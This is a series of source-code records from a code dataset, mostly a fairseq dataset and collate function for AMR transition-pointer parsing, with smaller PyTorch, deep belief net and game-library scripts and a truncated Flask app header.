print(child.weight.requires_grad)\n\n # print()\n\nlearning_rate = 1e-2\n\nfor t in range(500):\n\n if t % 2 == 0:\n context_switching()\n print('conv', model.conv1)\n print('conv', model.conv1.weight)\n print('gate', model.gate1)\n print('gate', model.gate1.weight)\n\n if hasattr(model.conv1.weight, 'grad'):\n\n print('grad_conv', model.conv1.weight.grad)\n if hasattr(model.gate1.weight, 'grad'):\n\n print('grad_gate', model.gate1.weight.grad)\n\n # Forward pass: compute predicted y using operations on Tensors; these\n # are exactly the same operations we used to compute the forward pass using\n # Tensors, but we do not need to keep references to intermediate values since\n # we are not implementing the backward pass by hand.\n \n optimizer = optim.Adam(filter(lambda p: p.requires_grad,model.parameters()), lr=learning_rate, weight_decay=1e-4)\n\n \n\n optimizer.zero_grad()\n\n y_pred = model(x)\n loss = (y_pred - y).pow(2).sum()\n loss.backward()\n optimizer.step()\n print(t, loss.item())\n\n # Compute and print loss using operations on Tensors.\n # Now loss is a Tensor of shape (1,)\n # loss.item() gets the a scalar value held in the loss.\n # print(y.size())\n # print(y_pred.size())\n # print(t, loss.item())\n\n\n # Use autograd to compute the backward pass. This call will compute the\n # gradient of loss with respect to all Tensors with requires_grad=True.\n # After this call w1.grad and w2.grad will be Tensors holding the gradient\n # of the loss with respect to w1 and w2 respectively.\n\n # Manually update weights using gradient descent. Wrap in torch.no_grad()\n # because weights have requires_grad=True, but we don't need to track this\n # in autograd.\n # An alternative way is to operate on weight.data and weight.grad.data.\n # Recall that tensor.data gives a tensor that shares the storage with\n # tensor, but doesn't track history.\n # You can also use torch.optim.SGD to achieve this.\n\n\n # with torch.no_grad():\n # w1 -= learning_rate * w1.grad\n # w2 -= learning_rate * w2.grad\n\n # # Manually zero the gradients after updating weights\n # w1.grad.zero_()\n # w2.grad.zero_()\n","sub_path":"20180809/require_grad_test.py","file_name":"require_grad_test.py","file_ext":"py","file_size_in_byte":5932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"270586597","text":"'''library holding dictionaries for in-game objects'''\nfrom location import Location\nfrom character import CharacterClass\nfrom util.distr import RandDist\n\nlocations = {}\ncharacter_classes = {}\nitems = {}\nserver = None\n\n# random distribution based on class frequencies\nrandom_class = None\n\n\ndef build_char_class_distr():\n '''takes the current set of CharacterClasses\n and builds a random distribution based on their frequency\n can be called again to rebuild the distribution\n '''\n global random_class\n # grab character classes with frequency > 0\n to_include = [c_class for c_class in character_classes.values() \n if c_class.frequency > 0]\n if len(to_include) == 0:\n raise Exception(\"No valid classes with frequency greater than 0\")\n random_class = RandDist(to_include, list(map(lambda x: x.frequency, to_include)))\n\n\ndef store_server(input_server):\n '''stores [input_server] as library.server'''\n global server\n server = input_server\n","sub_path":"library.py","file_name":"library.py","file_ext":"py","file_size_in_byte":994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"210532726","text":"import numpy as np\nimport torch\nfrom fairseq.data import FairseqDataset\n\nfrom fairseq_ext.data.data_utils import (\n collate_embeddings,\n collate_wp_idx,\n # collate_target_masks,\n # collate_masks\n)\nfrom fairseq_ext.data import data_utils\n\n\ndef collate(\n samples, pad_idx, eos_idx, left_pad_source=True, left_pad_target=False,\n input_feeding=True,\n collate_tgt_states=False,\n collate_tgt_states_graph=False,\n pad_tgt_actedge_cur_nodes=-1,\n pad_tgt_actedge_pre_nodes=-1,\n pad_tgt_actedge_directions=0\n):\n assert not left_pad_target\n\n if len(samples) == 0:\n return {}\n\n def merge(key, left_pad, move_eos_to_beginning=False, pad_idx=pad_idx):\n return data_utils.collate_tokens(\n [s[key] for s in samples],\n pad_idx, eos_idx, left_pad, move_eos_to_beginning,\n )\n\n def merge_tgt_pos(key, left_pad, move_eos_to_beginning=False):\n return data_utils.collate_tokens(\n [s[key] for s in samples],\n -2, eos_idx, left_pad, move_eos_to_beginning,\n )\n\n id = torch.LongTensor([s['id'] for s in samples])\n\n if isinstance(samples[0]['source'], torch.Tensor):\n # source tokens are numerical values encoded from a src dictionary\n src_tokens = merge('source', left_pad=left_pad_source)\n src_lengths = torch.LongTensor([s['source'].numel() for s in samples])\n # sort by descending source length\n src_lengths, sort_order = src_lengths.sort(descending=True)\n src_tokens = src_tokens.index_select(0, sort_order)\n else:\n # source tokens are original string form, which is only a place holder since the embeddings are directly used\n # assert samples[0].get('source_fix_emb', None) is not None\n src_tokens = [s['source'] for s in samples]\n src_lengths = torch.LongTensor([len(s['source']) for s in samples])\n # sort by descending source length\n src_lengths, sort_order = src_lengths.sort(descending=True)\n src_tokens = [src_tokens[i] for i in sort_order]\n\n id = id.index_select(0, sort_order)\n\n src_sents = [s['src_tokens'] for s in samples]\n if src_sents[0] is None:\n src_sents = None\n else:\n src_sents = [src_sents[i] for i in sort_order]\n\n prev_output_tokens = None\n target = None\n tgt_pos = None\n if samples[0].get('target', None) is not None:\n target = merge('target', left_pad=left_pad_target)\n # we will need for sanity check further down\n no_sorted_target = target.clone()\n target = target.index_select(0, sort_order)\n # needed for sanity checks\n tgt_legths = torch.LongTensor([len(s['target']) for s in samples])\n ntokens = tgt_legths.sum().item()\n tgt_legths = tgt_legths.index_select(0, sort_order)\n\n tgt_pos = merge_tgt_pos('tgt_pos', left_pad=left_pad_target)\n tgt_pos = tgt_pos.index_select(0, sort_order)\n # NOTE we do not need to shift target actions pointer since it is associated with the out sequence\n\n if samples[0].get('tgt_in', None) is not None:\n # NOTE we do not shift here, as it is already shifter 1 position to the right in dataset .__getitem__\n tgt_in = merge('tgt_in', left_pad=left_pad_target)\n prev_output_tokens = tgt_in = tgt_in.index_select(0, sort_order)\n\n elif input_feeding:\n # we create a shifted version of targets for feeding the\n # previous output token(s) into the next decoder step\n prev_output_tokens = merge(\n 'target',\n left_pad=left_pad_target,\n move_eos_to_beginning=True,\n )\n prev_output_tokens = prev_output_tokens.index_select(0, sort_order)\n\n else:\n raise ValueError\n else:\n ntokens = sum(len(s['source']) for s in samples)\n\n # Pre-trained embeddings\n def merge_embeddings(key, left_pad_source, move_eos_to_beginning=False):\n return collate_embeddings(\n [s[key] for s in samples],\n pad_idx, eos_idx, left_pad_source, move_eos_to_beginning\n )\n\n if samples[0].get('source_fix_emb', None) is not None:\n source_fix_emb = merge_embeddings('source_fix_emb', left_pad_source)\n source_fix_emb = source_fix_emb.index_select(0, sort_order)\n else:\n source_fix_emb = None\n\n # Word-pieces\n src_wordpieces = merge('src_wordpieces', left_pad=left_pad_source)\n src_wordpieces = src_wordpieces.index_select(0, sort_order)\n\n def merge_wp_idx(key, left_pad, move_eos_to_beginning=False):\n return collate_wp_idx(\n [s[key] for s in samples],\n pad_idx, eos_idx, left_pad, move_eos_to_beginning,\n reverse=True\n )\n\n # Wordpiece to word mapping\n src_wp2w = merge_wp_idx('src_wp2w', left_pad=left_pad_source)\n src_wp2w = src_wp2w.index_select(0, sort_order)\n\n# # DEBUG: Inline RoBERTa\n# from torch_scatter import scatter_mean\n# # extract roberta from collated\n# roberta = torch.hub.load('pytorch/fairseq', 'roberta.base')\n# roberta.eval()\n# last_layer = roberta.extract_features(src_wordpieces)\n# # remove sentence start\n# bsize, max_len, emb_size = last_layer.shape\n# mask = (src_wordpieces != 0).unsqueeze(2).expand(last_layer.shape)\n# last_layer = last_layer[mask].view((bsize, max_len - 1, emb_size))\n# # remove sentence end\n# last_layer = last_layer[:, :-1, :]\n# # apply scatter, flip before to have left-side padding\n# source_fix_emb2 = scatter_mean(last_layer, src_wp2w.unsqueeze(2), dim=1)\n# source_fix_emb2 = source_fix_emb2.flip(1)\n# # Remove extra padding\n# source_fix_emb2 = source_fix_emb2[:, -src_tokens.shape[1]:, :]\n# abs(source_fix_emb2 - source_fix_emb).max()\n# # DEBUG: Inline RoBERTa\n\n # # source masks\n # def merge_masks(key, left_pad_source, left_pad_target):\n # return collate_masks(\n # [s[key] for s in samples],\n # pad_idx, eos_idx, left_pad_source, left_pad_target\n # )\n\n # # target masks\n # # get sub-set of active logits for this batch and mask for each individual\n # # sentence and target time step\n # def merge_target_masks(left_pad_target):\n # return collate_target_masks(\n # [(s['target_masks'], s['active_logits'], len(s['target'])) for s in samples],\n # pad_idx, eos_idx, left_pad_target=left_pad_target, move_eos_to_beginning=False,\n # target=no_sorted_target\n # )\n\n # # TODO change later\n # state_machine = False\n\n # if state_machine:\n\n # # stack info\n # memory = merge_masks('memory', left_pad_source, left_pad_target)\n # memory = memory.index_select(0, sort_order)\n # memory_pos = merge_masks('memory_pos', left_pad_source, left_pad_target)\n # memory_pos = memory_pos.index_select(0, sort_order)\n # # active logits\n # logits_mask, logits_indices = merge_target_masks(left_pad_target)\n # logits_mask = logits_mask.index_select(0, sort_order)\n\n # else:\n\n # memory = None\n # memory_pos = None\n # logits_indices = None\n # logits_mask = None\n\n # TODO legacy from stack-transformer to make sure the model runs; remove later\n memory = None\n memory_pos = None\n logits_indices = None\n logits_mask = None\n\n # TODO write a function to collate 2-D matrices, similar to the collate_tokens function\n def merge_tgt_vocab_masks():\n # default right padding: left_pad_target should be False\n # TODO organize the code here\n masks = [s['tgt_vocab_masks'] for s in samples]\n max_len = max([len(m) for m in masks])\n merged = masks[0].new(len(masks), max_len, masks[0].size(1)).fill_(pad_idx)\n for i, v in enumerate(masks):\n merged[i, :v.size(0), :] = v\n return merged\n\n if collate_tgt_states:\n tgt_vocab_masks = merge_tgt_vocab_masks()\n tgt_vocab_masks = tgt_vocab_masks.index_select(0, sort_order)\n tgt_actnode_masks = merge('tgt_actnode_masks', left_pad=left_pad_target, pad_idx=0)\n tgt_actnode_masks = tgt_actnode_masks.index_select(0, sort_order)\n tgt_src_cursors = merge('tgt_src_cursors', left_pad=left_pad_target)\n tgt_src_cursors = tgt_src_cursors.index_select(0, sort_order)\n else:\n tgt_vocab_masks = None\n tgt_actnode_masks = None\n tgt_src_cursors = None\n\n if collate_tgt_states_graph:\n # graph structure (NOTE the pad_idx is fixed at some special values)\n tgt_actedge_masks = merge('tgt_actedge_masks', left_pad=left_pad_target, pad_idx=0)\n tgt_actedge_masks = tgt_actedge_masks.index_select(0, sort_order)\n tgt_actedge_cur_nodes = merge('tgt_actedge_cur_nodes', left_pad=left_pad_target,\n pad_idx=pad_tgt_actedge_cur_nodes)\n tgt_actedge_cur_nodes = tgt_actedge_cur_nodes.index_select(0, sort_order)\n tgt_actedge_pre_nodes = merge('tgt_actedge_pre_nodes', left_pad=left_pad_target,\n pad_idx=pad_tgt_actedge_pre_nodes)\n tgt_actedge_pre_nodes = tgt_actedge_pre_nodes.index_select(0, sort_order)\n tgt_actedge_directions = merge('tgt_actedge_directions', left_pad=left_pad_target,\n pad_idx=pad_tgt_actedge_directions)\n tgt_actedge_directions = tgt_actedge_directions.index_select(0, sort_order)\n tgt_actnode_masks_shift = merge('tgt_actnode_masks_shift', left_pad=left_pad_target, pad_idx=0)\n tgt_actnode_masks_shift = tgt_actnode_masks_shift.index_select(0, sort_order)\n else:\n # graph structure\n tgt_actedge_masks = None\n tgt_actedge_cur_nodes = None\n tgt_actedge_pre_nodes = None\n tgt_actedge_directions = None\n tgt_actnode_masks_shift = None\n\n # batch variables\n batch = {\n 'id': id,\n 'nsentences': len(samples),\n 'ntokens': ntokens, # target side number of tokens in the batch\n 'src_sents': src_sents, # original source sentences\n 'net_input': {\n 'src_tokens': src_tokens,\n 'src_lengths': src_lengths,\n 'src_fix_emb': source_fix_emb,\n 'src_wordpieces': src_wordpieces,\n 'src_wp2w': src_wp2w,\n # AMR actions states\n 'tgt_vocab_masks': tgt_vocab_masks,\n 'tgt_actnode_masks': tgt_actnode_masks,\n 'tgt_src_cursors': tgt_src_cursors,\n # graph structure\n 'tgt_actedge_masks': tgt_actedge_masks,\n 'tgt_actedge_cur_nodes': tgt_actedge_cur_nodes,\n 'tgt_actedge_pre_nodes': tgt_actedge_pre_nodes,\n 'tgt_actedge_directions': tgt_actedge_directions,\n 'tgt_actnode_masks_shift': tgt_actnode_masks_shift\n },\n 'target': target,\n 'tgt_pos': tgt_pos\n }\n if prev_output_tokens is not None:\n batch['net_input']['prev_output_tokens'] = prev_output_tokens\n\n # sanity check batch\n # from fairseq.debug_tools import sanity_check_collated_batch\n # sanity_check_collated_batch(batch, pad_idx, left_pad_source, left_pad_target, tgt_legths)\n\n return batch\n\n\nclass AMRActionPointerBARTSVDataset(FairseqDataset):\n \"\"\"Dataset for AMR transition-pointer parsing: source is English sentences, and target is action sequences, along\n with pointer values for arc actions where the pointers are on the action sequence.\n\n Args:\n FairseqDataset ([type]): [description]\n\n Note:\n - when we are using RoBERTa embeddings for the source, there is no need for \"src_dict\".\n \"\"\"\n def __init__(self, *,\n # src\n src_tokens=None,\n src=None, src_sizes=None, src_dict=None,\n src_fix_emb=None, src_fix_emb_sizes=None, src_fix_emb_use=False,\n src_wordpieces=None, src_wordpieces_sizes=None,\n src_wp2w=None, src_wp2w_sizes=None,\n # tgt\n tgt=None,\n tgt_sizes=None,\n tgt_in=None,\n tgt_in_sizes=None,\n tgt_dict=None,\n tgt_pos=None,\n tgt_pos_sizes=None,\n # core state info\n tgt_vocab_masks=None,\n tgt_actnode_masks=None, # for the valid pointer positions\n tgt_src_cursors=None,\n # side state info for graph\n tgt_actedge_masks=None,\n tgt_actedge_cur_nodes=None,\n tgt_actedge_pre_nodes=None,\n tgt_actedge_directions=None,\n # batching\n left_pad_source=True, left_pad_target=False,\n max_source_positions=1024, max_target_positions=1024,\n shuffle=True, input_feeding=True, remove_eos_from_source=False, append_eos_to_target=False,\n collate_tgt_states=True,\n collate_tgt_states_graph=False,\n ):\n\n if tgt_dict is not None and src_dict is not None:\n assert src_dict.pad() == tgt_dict.pad()\n assert src_dict.eos() == tgt_dict.eos()\n assert src_dict.unk() == tgt_dict.unk()\n\n assert src is not None\n assert tgt is not None\n assert tgt_pos is not None\n assert src_sizes is not None\n\n assert not left_pad_target # this should be fixed as in collate function it is by default for tgt_vocab_masks\n\n # core dataset variables\n self.src_tokens = src_tokens\n self.src = src\n self.tgt = tgt\n self.tgt_in = tgt_in\n self.src_sizes = np.array(src_sizes)\n self.tgt_sizes = np.array(tgt_sizes) if tgt_sizes is not None else None\n self.tgt_in_sizes = np.array(tgt_in_sizes) if tgt_in_sizes is not None else None\n self.src_dict = src_dict\n self.tgt_dict = tgt_dict\n self.tgt_pos = tgt_pos\n self.tgt_pos_sizes = tgt_pos_sizes\n\n # additional dataset variables\n\n # src RoBERTa embeddings\n self.src_fix_emb = src_fix_emb\n self.src_fix_emb_sizes = src_fix_emb_sizes\n\n self.src_fix_emb_use = src_fix_emb_use # whether to use fix pretrained embeddings for src\n\n self.src_wordpieces = src_wordpieces\n self.src_wordpieces_sizes = src_wordpieces_sizes\n self.src_wp2w = src_wp2w\n self.src_wp2w_sizes = src_wp2w_sizes\n\n # AMR actions state information for each tgt step\n self.tgt_vocab_masks = tgt_vocab_masks\n self.tgt_actnode_masks = tgt_actnode_masks\n self.tgt_src_cursors = tgt_src_cursors\n\n # AMR graph structure information for each tgt step\n self.tgt_actedge_masks = tgt_actedge_masks\n self.tgt_actedge_cur_nodes = tgt_actedge_cur_nodes\n self.tgt_actedge_pre_nodes = tgt_actedge_pre_nodes\n self.tgt_actedge_directions = tgt_actedge_directions\n\n # others for collating examples to a batch\n self.left_pad_source = left_pad_source\n self.left_pad_target = left_pad_target\n self.max_source_positions = max_source_positions\n self.max_target_positions = max_target_positions\n self.shuffle = shuffle\n self.input_feeding = input_feeding\n self.remove_eos_from_source = remove_eos_from_source\n self.append_eos_to_target = append_eos_to_target\n\n # whether to include target actions states information during batching\n self.collate_tgt_states = collate_tgt_states\n self.collate_tgt_states_graph = collate_tgt_states_graph\n if self.collate_tgt_states:\n assert self.tgt_vocab_masks is not None\n assert self.tgt_actnode_masks is not None\n assert self.tgt_src_cursors is not None\n\n if self.collate_tgt_states_graph:\n # NOTE graph structure is also required here\n assert self.tgt_actedge_masks is not None\n assert self.tgt_actedge_cur_nodes is not None\n assert self.tgt_actedge_pre_nodes is not None\n assert self.tgt_actedge_directions is not None\n\n # get the padding values for the graph structure vectors\n # since they are not all 0s, e.g. for node action ids 0 is an legit id\n for i in range(len(self.tgt_actedge_masks[0])):\n if self.tgt_actedge_masks[0][i] == 0:\n self.pad_tgt_actedge_cur_nodes = self.tgt_actedge_cur_nodes[0][i]\n self.pad_tgt_actedge_pre_nodes = self.tgt_actedge_pre_nodes[0][i]\n self.pad_tgt_actedge_directions = self.tgt_actedge_directions[0][i]\n break\n\n # TODO lift this; associated with AMRStateMachine:apply_canonical_action()\n assert self.pad_tgt_actedge_cur_nodes != -2, 'currently -2 is fixed to denote root node for LA(root)'\n else:\n self.pad_tgt_actedge_cur_nodes = None\n self.pad_tgt_actedge_pre_nodes = None\n self.pad_tgt_actedge_directions = None\n\n def __getitem__(self, index):\n src_tokens_item = self.src_tokens[index] if self.src_tokens is not None else None\n src_item = self.src[index] if self.src is not None else None\n tgt_item = self.tgt[index]\n tgt_in_item = self.tgt_in[index] if self.tgt_in is not None else None\n tgt_pos_item = self.tgt_pos[index]\n\n src_wordpieces_item = self.src_wordpieces[index].type(torch.long) # TODO type conversion here is needed\n src_wp2w_item = self.src_wp2w[index].type(torch.long)\n # TODO type conversion above is needed; change in preprocessing while saving data\n\n # Deduce pretrained embeddings size; the src_fix_emb is NOT averaged to words\n if self.src_fix_emb_use:\n pretrained_embed_dim = self.src_fix_emb[index].shape[0] // len(src_wordpieces_item)\n shape_factor = (self.src_fix_emb[index].shape[0] // pretrained_embed_dim, pretrained_embed_dim)\n src_fix_emb_item = self.src_fix_emb[index].view(*shape_factor)\n else:\n src_fix_emb_item = None\n\n # shape_factor = (tgt_item.shape[0], src_item.shape[0])\n # memory_item = self.memory[index].view(*shape_factor).transpose(0, 1)\n # memory_pos_item = self.mem_pos[index].view(*shape_factor).transpose(0, 1)\n # target_masks = self.target_masks[index]\n # active_logits = self.active_logits[index]\n\n # Cast to float to simplify mask manipulation\n # memory_item = memory_item.type(src_fix_emb_item.type())\n # memory_pos_item = memory_pos_item.type(src_fix_emb_item.type())\n # target_masks = target_masks.type(src_fix_emb_item.type())\n # active_logits = active_logits.type(src_fix_emb_item.type())\n\n # reshape the target vocabulary mask to be 2-D\n tgt_vocab_mask_item = self.tgt_vocab_masks[index].view(-1, len(self.tgt_dict)) \\\n if self.tgt_vocab_masks is not None else None\n tgt_actnode_mask_item = self.tgt_actnode_masks[index] if self.tgt_actnode_masks is not None else None\n tgt_src_cursor_item = self.tgt_src_cursors[index] if self.tgt_src_cursors is not None else None\n # graph structure\n tgt_actedge_masks_item = self.tgt_actedge_masks[index] \\\n if self.tgt_actedge_masks is not None else None\n tgt_actedge_cur_nodes_item = self.tgt_actedge_cur_nodes[index] \\\n if self.tgt_actedge_cur_nodes is not None else None\n tgt_actedge_pre_nodes_item = self.tgt_actedge_pre_nodes[index] \\\n if self.tgt_actedge_pre_nodes is not None else None\n tgt_actedge_directions_item = self.tgt_actedge_directions[index] \\\n if self.tgt_actedge_directions is not None else None\n tgt_actnode_mask_shift_item = None\n\n # ========== shift the tgt input vector to be fed into model ==========\n # NOTE we must clone first -- modification in their original place is not allowed\n # if not using .clone(), there is an error:\n # RuntimeError: unsupported operation: some elements of the input tensor and the written-to tensor refer to\n # a single memory location. Please clone() the tensor before performing the operation.\n if tgt_in_item is not None:\n tgt_in_item = tgt_in_item.clone()\n tgt_in_item[1:] = tgt_in_item[:-1].clone()\n # for the position at the beginning\n tgt_in_item[0] = self.tgt_dict.eos()\n\n # =====================================================================\n\n # ========== tgt graph structure information should be tied with the tgt input ==========\n if self.collate_tgt_states_graph:\n # a) the vectors should be shifted to the right\n tgt_actedge_masks_item = tgt_actedge_masks_item.clone()\n tgt_actedge_cur_nodes_item = tgt_actedge_cur_nodes_item.clone()\n tgt_actedge_pre_nodes_item = tgt_actedge_pre_nodes_item.clone()\n tgt_actedge_directions_item = tgt_actedge_directions_item.clone()\n tgt_actnode_mask_shift_item = tgt_actnode_mask_item.clone() # node mask on the tgt input side\n # NOTE we must clone first -- modification in their original place is not allowed\n # if not using .clone(), there is an error:\n # RuntimeError: unsupported operation: some elements of the input tensor and the written-to tensor refer to\n # a single memory location. Please clone() the tensor before performing the operation.\n for tgt_actedge_x in (tgt_actedge_masks_item, tgt_actedge_cur_nodes_item,\n tgt_actedge_pre_nodes_item, tgt_actedge_directions_item,\n tgt_actnode_mask_shift_item):\n tgt_actedge_x[1:] = tgt_actedge_x[:-1].clone()\n\n # b) the values referring to node positions should be shifted 1 to the right as well\n tgt_actedge_cur_nodes_item[tgt_actedge_cur_nodes_item >= 0] += 1\n tgt_actedge_pre_nodes_item[tgt_actedge_pre_nodes_item >= 0] += 1\n\n # c) for the position at the beginning\n tgt_actedge_masks_item[0] = 0\n tgt_actedge_cur_nodes_item[0] = self.pad_tgt_actedge_cur_nodes\n tgt_actedge_pre_nodes_item[0] = self.pad_tgt_actedge_pre_nodes\n tgt_actedge_directions_item[0] = self.pad_tgt_actedge_directions\n tgt_actnode_mask_shift_item[0] = 0\n\n # ========================================================================================\n\n # Append EOS to end of tgt sentence if it does not have an EOS and remove\n # EOS from end of src sentence if it exists. This is useful when we use\n # use existing datasets for opposite directions i.e., when we want to\n # use tgt_dataset as src_dataset and vice versa\n if self.append_eos_to_target:\n eos = self.tgt_dict.eos() if self.tgt_dict else self.src_dict.eos()\n if self.tgt and self.tgt[index][-1] != eos:\n tgt_item = torch.cat([self.tgt[index], torch.LongTensor([eos])])\n else:\n # all of the target side data are with the CLOSE action ( in the vocab)\n tgt_item = tgt_item[:-1]\n tgt_pos_item = tgt_pos_item[:-1]\n tgt_in_item = tgt_in_item[:-1] if tgt_in_item is not None else None\n # tgt action state information includes the CLOSE action at last step, which is mapped to the eos token\n tgt_vocab_mask_item = tgt_vocab_mask_item[:-1] if tgt_vocab_mask_item is not None else None\n tgt_actnode_mask_item = tgt_actnode_mask_item[:-1] if tgt_actnode_mask_item is not None else None\n tgt_src_cursor_item = tgt_src_cursor_item[:-1] if tgt_src_cursor_item is not None else None\n # tgt graph structure\n tgt_actedge_masks_item = tgt_actedge_masks_item[:-1] \\\n if tgt_actedge_masks_item is not None else None\n tgt_actedge_cur_nodes_item = tgt_actedge_cur_nodes_item[:-1] \\\n if tgt_actedge_cur_nodes_item is not None else None\n tgt_actedge_pre_nodes_item = tgt_actedge_pre_nodes_item[:-1] \\\n if tgt_actedge_pre_nodes_item is not None else None\n tgt_actedge_directions_item = tgt_actedge_directions_item[:-1] \\\n if tgt_actedge_directions_item is not None else None\n tgt_actnode_mask_shift_item = tgt_actnode_mask_shift_item[:-1] \\\n if tgt_actnode_mask_shift_item is not None else None\n\n if self.remove_eos_from_source:\n eos = self.src_dict.eos()\n if self.src[index][-1] == eos:\n src_item = self.src[index][:-1]\n\n return {\n 'id': index,\n 'src_tokens': src_tokens_item,\n 'source': src_item,\n 'source_fix_emb': src_fix_emb_item,\n 'src_wordpieces': src_wordpieces_item,\n 'src_wp2w': src_wp2w_item,\n 'target': tgt_item,\n 'tgt_in': tgt_in_item,\n 'tgt_pos': tgt_pos_item,\n # AMR actions states (tied with the tgt output side)\n 'tgt_vocab_masks': tgt_vocab_mask_item,\n 'tgt_actnode_masks': tgt_actnode_mask_item,\n 'tgt_src_cursors': tgt_src_cursor_item,\n # graph structure (tied with the tgt input side)\n 'tgt_actedge_masks': tgt_actedge_masks_item,\n 'tgt_actedge_cur_nodes': tgt_actedge_cur_nodes_item,\n 'tgt_actedge_pre_nodes': tgt_actedge_pre_nodes_item,\n 'tgt_actedge_directions': tgt_actedge_directions_item,\n 'tgt_actnode_masks_shift': tgt_actnode_mask_shift_item\n }\n\n def __len__(self):\n return len(self.src)\n\n def collater(self, samples):\n \"\"\"Merge a list of samples to form a mini-batch.\n\n Args:\n samples (List[dict]): samples to collate\n\n Returns:\n dict: a mini-batch with the following keys:\n\n - `id` (LongTensor): example IDs in the original input order\n - `ntokens` (int): total number of tokens in the batch\n - `net_input` (dict): the input to the Model, containing keys:\n\n - `src_tokens` (LongTensor): a padded 2D Tensor of tokens in\n the source sentence of shape `(bsz, src_len)`. Padding will\n appear on the left if *left_pad_source* is ``True``.\n - `src_lengths` (LongTensor): 1D Tensor of the unpadded\n lengths of each source sentence of shape `(bsz)`\n - `prev_output_tokens` (LongTensor): a padded 2D Tensor of\n tokens in the target sentence, shifted right by one\n position for teacher forcing, of shape `(bsz, tgt_len)`.\n This key will not be present if *input_feeding* is\n ``False``. Padding will appear on the left if\n *left_pad_target* is ``True``.\n\n - `target` (LongTensor): a padded 2D Tensor of tokens in the\n target sentence of shape `(bsz, tgt_len)`. Padding will appear\n on the left if *left_pad_target* is ``True``.\n \"\"\"\n return collate(\n samples, pad_idx=self.tgt_dict.pad(), eos_idx=self.tgt_dict.eos(),\n left_pad_source=self.left_pad_source, left_pad_target=self.left_pad_target,\n input_feeding=self.input_feeding,\n collate_tgt_states=self.collate_tgt_states,\n collate_tgt_states_graph=self.collate_tgt_states_graph,\n pad_tgt_actedge_cur_nodes=self.pad_tgt_actedge_cur_nodes,\n pad_tgt_actedge_pre_nodes=self.pad_tgt_actedge_pre_nodes,\n pad_tgt_actedge_directions=self.pad_tgt_actedge_directions\n )\n\n def num_tokens(self, index):\n \"\"\"Return the number of tokens in a sample. This value is used to\n enforce ``--max-tokens`` during batching.\"\"\"\n return max(self.src_sizes[index], self.tgt_sizes[index] if self.tgt_sizes is not None else 0)\n\n def size(self, index):\n \"\"\"Return an example's size as a float or tuple. This value is used when\n filtering a dataset with ``--max-positions``.\"\"\"\n return (self.src_sizes[index], self.tgt_sizes[index] if self.tgt_sizes is not None else 0)\n\n def ordered_indices(self):\n \"\"\"Return an ordered list of indices. Batches will be constructed based\n on this order.\"\"\"\n if self.shuffle:\n indices = np.random.permutation(len(self))\n else:\n indices = np.arange(len(self))\n if self.tgt_sizes is not None:\n indices = indices[np.argsort(self.tgt_sizes[indices], kind='mergesort')]\n return indices[np.argsort(self.src_sizes[indices], kind='mergesort')]\n\n @property\n def supports_prefetch(self):\n return (\n getattr(self.src, 'supports_prefetch', False)\n and getattr(self.src_fix_emb, 'supports_prefetch', False)\n and (getattr(self.tgt, 'supports_prefetch', False) or self.tgt is None)\n # and getattr(self.memory, 'supports_prefetch', False)\n # and getattr(self.mem_pos, 'supports_prefetch', False)\n and getattr(self.tgt_pos, 'supports_prefetch', False)\n )\n\n def prefetch(self, indices):\n self.src.prefetch(indices)\n if self.tgt is not None:\n self.tgt.prefetch(indices)\n self.tgt_pos.prefetch(indices)\n if self.src_fix_emb is not None:\n self.src_fix_emb.prefetch(indices)\n # self.memory.prefetch(indices)\n # self.mem_pos.prefetch(indices)\n","sub_path":"src/fairseq_ext/data/amr_action_pointer_bartsv_dataset.py","file_name":"amr_action_pointer_bartsv_dataset.py","file_ext":"py","file_size_in_byte":29683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"105275472","text":"from util import *\nfrom rbm import RestrictedBoltzmannMachine\nfrom dbn import DeepBeliefNet\nimport time\n\n'''\nResults:\nBatch_size 15 | iterations 800 | n_tran 600 | n_test 100 | Accu train 92.17 | Accu test 84\nBatch_size 15 | iterations 50 | n_tran 6000 | n_test 1000 | Accu train 73.30 | Accu test 70.9\nBatch_size 15 | iterations 100 | n_tran 6000 | n_test 1000 | Accu train 80.20 | Accu test 73.30\nBatch_size 15 | iterations 300 | n_tran 6000 | n_test 1000 | Accu train 82.70 | Accu test 76.50\nBatch_size 15 | iterations 500 | n_tran 6000 | n_test 1000 | Accu train 83.20 | Accu test 77.70\nBatch_size 15 | iterations 800 | n_tran 6000 | n_test 1000 | Accu train 83.90 | Accu test 80.30\nBatch_size 15 | iterations 2000 | n_tran 6000 | n_test 1000 | Accu train 83.20 | Accu test 76.90\n'''\n\nif __name__ == \"__main__\":\n\n image_size = [28, 28]\n train_imgs, train_lbls, test_imgs, test_lbls = read_mnist(\n dim=image_size, n_train=6000, n_test=1000)\n\n ''' deep- belief net '''\n\n print(\"\\nStarting a Deep Belief Net..\")\n\n dbn = DeepBeliefNet(sizes={\"vis\": image_size[0]*image_size[1], \"hid\": 500, \"pen\": 500, \"top\": 2000, \"lbl\": 10},\n image_size=image_size,\n n_labels=10,\n batch_size=15)\n\n ''' greedy layer-wise training '''\n train_start_time = time.time()\n dbn.train_greedylayerwise(vis_trainset=train_imgs,\n lbl_trainset=train_lbls, n_iterations=800)\n train_end_time = time.time()\n print(\"Train time: {}s\".format(train_end_time - train_start_time))\n\n dbn.recognize(train_imgs, train_lbls)\n\n dbn.recognize(test_imgs, test_lbls)\n\n generate_start_time = time.time()\n all_last = []\n for digit in range(10):\n print(\"Generating number\",digit)\n digit_1hot = np.zeros(shape=(1, 10))\n digit_1hot[0, digit] = 1\n all_last.append(dbn.generate(digit_1hot, name=\"rbms\"))\n \n plt.close('all')\n # all_last=[np.random.randint(0,2,(5,5)) for i in range(10)]\n for i, img in enumerate(all_last):\n plt.subplot(2,5,i+1)\n plt.imshow(img, cmap='Greys', interpolation=None)\n plt.xticks([]);\n plt.yticks([]);\n plt.xlabel(i)\n plt.savefig('plots/gen_4_2_samples6000iter800.pdf')\n generate_end_time = time.time()\n print(\"Generate time: {}s\".format(generate_end_time - generate_start_time))","sub_path":"lab4/4_2.py","file_name":"4_2.py","file_ext":"py","file_size_in_byte":2388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"419514686","text":"# coding: utf-8\n\nimport json\nimport logging\n\nfrom flask import Flask, request, g\nfrom werkzeug.utils import import_string\n\nfrom argonath.ext import db, openid2\nfrom argonath.models import User\nfrom 